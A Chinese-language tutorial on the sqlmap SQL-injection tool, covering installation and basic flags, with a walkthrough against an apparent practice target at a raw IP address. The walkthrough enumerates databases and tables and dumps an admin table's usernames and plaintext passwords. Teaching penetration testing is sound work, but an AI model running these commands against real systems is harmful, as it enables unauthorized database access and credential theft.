SQLMap工具介绍:

sqlmap是一个开源软件,用于检测和利用数据库漏洞,并提供将恶意代码注入其中的选项。 它是一种渗透测试工具,可自动检测和利用SQL注入漏洞,在终端中提供其用户界面。该软件在命令行运行,可供不同操作系统下载:Linux发行版,Windows和Mac OS操作系统。 除了映射和检测漏洞之外,该软件还可以访问数据库,编辑和删除数据,以及查看表格中的数据,例如用户,密码,备份,电话号码,电子邮件地址,信用卡和其他机密和敏感信息。 sqlmap完全支持多个DBMS,包括MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird和SAP MaxDB。 并全面支持所有注入技术:布尔值,错误,堆栈,时间,联盟。

 

下载

1.linux下git直接安装

gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

2.Windows下安装

Windows下进入官网http://sqlmap.org/下载安装包解压缩就可以使用。但需要python2.7.x或者2.6.x环境支持。

3.kali及PentestBox默认安装sqlmap

 

基础语法

sqlmap.py -u “注入地址”   --dbs   // 列举数据库

sqlmap.py -u “注入地址”   --current--db   // 当前数据库

sqlmap.py -u “注入地址”   --users    // 列数据库用户

sqlmap.py -u “注入地址”   --current--user  // 当前用户

sqlmap.py -u “注入地址”   --tables -D “数据库”   // 列举数据库的表名

sqlmap.py -u “注入地址”  --columns -T “表名” -D “数据库”   // 获取表的列名

sqlmap.py -u “注入地址”  --dump -C “列名字” -T “表名字”  -D “数据库”    //获取数据库下表的列信息

 

打开SQLMap

今天我们环境使用的是Windows 10家庭中文版操作系统和Python 2.7.13由于本机Python环境已经搭建好,所以就不进行演示。接下来我们打开SQLMap:

可以进入本地SQLMAp的目录下,在搜索框输入cmd,然后按回车进入,如图所示:

也可以右击SQLMap文件夹下的sqlmap.py文件创建快捷方式,右键选择属性,修改目标为%windir%\system32\cmd.exe

确定保存

点击快捷方式直接打开SQLMap,可以验证一下

将SQLMap快捷方式添加到launchy快捷打开

 

SQLMap的使用

在网上找到了一个练习SQL注入的靶场,http://120.203.13.75:6815/?id=1,这道题是要我们通过sql注入拿到管理员密码!

使用F12查看页面cookie,发现页面并没有设置cookie,下面使用SQLMap

查看数据库sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch --dbs

 查看当前使用的数据库,sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch --current-db

接下来试一下直接爆出maoshe数据库的用户名、和密码。sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch --users --passwords,但是并没有成功,原因可能是因为DBMS当前用户对相关系统数据库表没有读取权限

查看数据库“maoshe”中的表 ,sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch -D maoshe --tables,看到了一个名字为admin的表

查看admin表中的列名sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch -D maoshe -T admin --columns,发现是储存用户信息的表

 查看username和password列信息sqlmap.py -u "http://120.203.13.75:6815/?id=1" --dump -C "password,username" -T admin -D "maoshe",爆出admin管理员用户信息而且密码使用明文保存的